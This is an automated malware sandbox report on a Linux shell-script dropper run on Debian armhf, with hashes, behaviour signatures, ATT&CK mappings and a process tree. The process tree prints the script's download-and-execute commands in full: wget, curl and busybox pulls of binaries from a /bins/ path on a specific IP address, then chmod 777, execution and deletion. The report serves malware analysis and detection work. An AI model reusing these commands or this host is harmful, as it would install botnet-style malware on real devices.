0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d

Analysis

max time kernel
32s
max time network
34s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
14/11/2024, 02:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d.sh
Size 10KB
Sample241114-ch7a4awpdm
SHA256 0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d
MD5 24a7a6f95be9f9dd494894332a670cb5
SHA1 4b583bb37b65c493007ce8ed28f87e1900c74380
SHA512 8619cf0f4b11ed68092a5ed3e8bc63bbd19e15d714a8fbb3248458c7a4c4fa19ae5661f012a2da6d5aa2c724e69d41d0e34353fbb7781f093613135c59011ae6
SSDEEP 96:b466kNMhw0p7Z5/gM70P6KVrVHV/VeVuVziH466kNMRfw057Z5/gMHkh6ihz6XmQ:bs7Q5ixO
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 16 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
812	chmod
853	chmod
681	chmod
750	chmod
756	chmod
778	chmod
691	chmod
730	chmod
806	chmod
708	chmod
830	chmod
836	chmod
847	chmod
795	chmod
818	chmod
824	chmod

Executes dropped EXE 16 IoCs

Checks CPU configuration 1 TTPs 16 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 32 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 16 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu	curl
File opened for modification	/tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y	curl
File opened for modification	/tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq	curl
File opened for modification	/tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN	curl
File opened for modification	/tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP	curl
File opened for modification	/tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx	curl
File opened for modification	/tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE	curl
File opened for modification	/tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO	curl
File opened for modification	/tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO	curl
File opened for modification	/tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o	curl
File opened for modification	/tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx	curl
File opened for modification	/tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y	curl
File opened for modification	/tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP	curl
File opened for modification	/tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ	curl
File opened for modification	/tmp/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0	curl
File opened for modification	/tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP	curl

/tmp/0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d.sh
/tmp/0d437f2af8eea1ceda3b8e42c782ca202d88740f9b9eccfa37708e340f0e458d.sh
1⤵
PID:650
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:653
- /usr/bin/wget
  wget http://216.126.231.240/bins/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  PID:657
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:674
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  PID:679
- /bin/chmod
  chmod 777 DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  ./DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  - Executes dropped EXE
  PID:682
- /bin/rm
  rm DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
  2⤵
  PID:683
- /usr/bin/wget
  wget http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:684
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:686
- /bin/chmod
  chmod 777 zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  ./zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - Executes dropped EXE
  PID:692
- /bin/rm
  rm zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:693
- /usr/bin/wget
  wget http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:694
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:699
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:704
- /bin/chmod
  chmod 777 YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - File and Directory Permissions Modification
  PID:708
- /tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  ./YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - Executes dropped EXE
  PID:710
- /bin/rm
  rm YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:711
- /usr/bin/wget
  wget http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:712
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:717
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:722
- /bin/chmod
  chmod 777 qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  ./qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  - Executes dropped EXE
  PID:732
- /bin/rm
  rm qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:733
- /usr/bin/wget
  wget http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:734
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:747
- /bin/chmod
  chmod 777 Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  ./Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
  2⤵
  PID:752
- /usr/bin/wget
  wget http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:755
- /bin/chmod
  chmod 777 j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  ./j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
  2⤵
  PID:758
- /usr/bin/wget
  wget http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:766
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:772
- /bin/chmod
  chmod 777 6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  ./6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  - Executes dropped EXE
  PID:779
- /bin/rm
  rm 6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
  2⤵
  PID:780
- /usr/bin/wget
  wget http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:791
- /bin/chmod
  chmod 777 tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  ./tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  - Executes dropped EXE
  PID:796
- /bin/rm
  rm tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
  2⤵
  PID:798
- /usr/bin/wget
  wget http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:805
- /bin/chmod
  chmod 777 19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  ./19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm 19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
  2⤵
  PID:808
- /usr/bin/wget
  wget http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:811
- /bin/chmod
  chmod 777 UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  ./UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
  2⤵
  PID:814
- /usr/bin/wget
  wget http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:817
- /bin/chmod
  chmod 777 2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  ./2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm 2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
  2⤵
  PID:820
- /usr/bin/wget
  wget http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:823
- /bin/chmod
  chmod 777 NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  ./NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
  2⤵
  PID:826
- /usr/bin/wget
  wget http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:829
- /bin/chmod
  chmod 777 4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  ./4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm 4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
  2⤵
  PID:832
- /usr/bin/wget
  wget http://216.126.231.240/bins/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  PID:835
- /bin/chmod
  chmod 777 EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  ./EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
  2⤵
  PID:838
- /usr/bin/wget
  wget http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:846
- /bin/chmod
  chmod 777 zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  ./zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
  2⤵
  PID:849
- /usr/bin/wget
  wget http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:852
- /bin/chmod
  chmod 777 YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  ./YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
  2⤵
  PID:855
- /usr/bin/wget
  wget http://216.126.231.240/bins/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
  2⤵
  PID:856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE

Path /tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE	682	DV6tM8wb12bCiyWnwfyL52VQTpgS5uQGIE
/tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y	692	zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
/tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP	710	YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP
/tmp/qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq	732	qJ6UGOFsjbspnBMnDA5Uqsog9CZw9zW7Dq
/tmp/Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO	751	Fd9jECNTpMPZkffJCCCCaBR60FmYz0gukO
/tmp/j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu	757	j519BqWsjTHcMgAjiJHmpJE5fqisDzQhJu
/tmp/6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO	779	6R8U5jMHpM5hSMzgM3K9CgZ3WjI6PfsmaO
/tmp/tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN	796	tJ4iYNaBBtBjUoN75B4iKsCF5uNf66edBN
/tmp/19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP	807	19rowpTgpYZgzMaGNUbivlg3xqju9AoZRP
/tmp/UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx	813	UXUZF3trHGzPJ8YrpMNVfAtZ9SGd4DQSjx
/tmp/2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o	819	2HqBOSbkmcQAbBqU9I4djZX8fc55m5L32o
/tmp/NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ	825	NR4uZhzhcnbkS0Hcg8ittbFkDPWnB1UorZ
/tmp/4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx	831	4pEIqsv7rp7kZjyaXirgt4yuoyrlaPxmCx
/tmp/EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0	837	EG4ovssLS9679oQEqzfktuY7V1Oq77uDt0
/tmp/zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y	848	zt4jb4O9fb8pWzfc4HjJeVilyQJXMe100y
/tmp/YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP	854	YtoazFTdIe5QHv5YWw25t3pvRnkHhghbGP

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads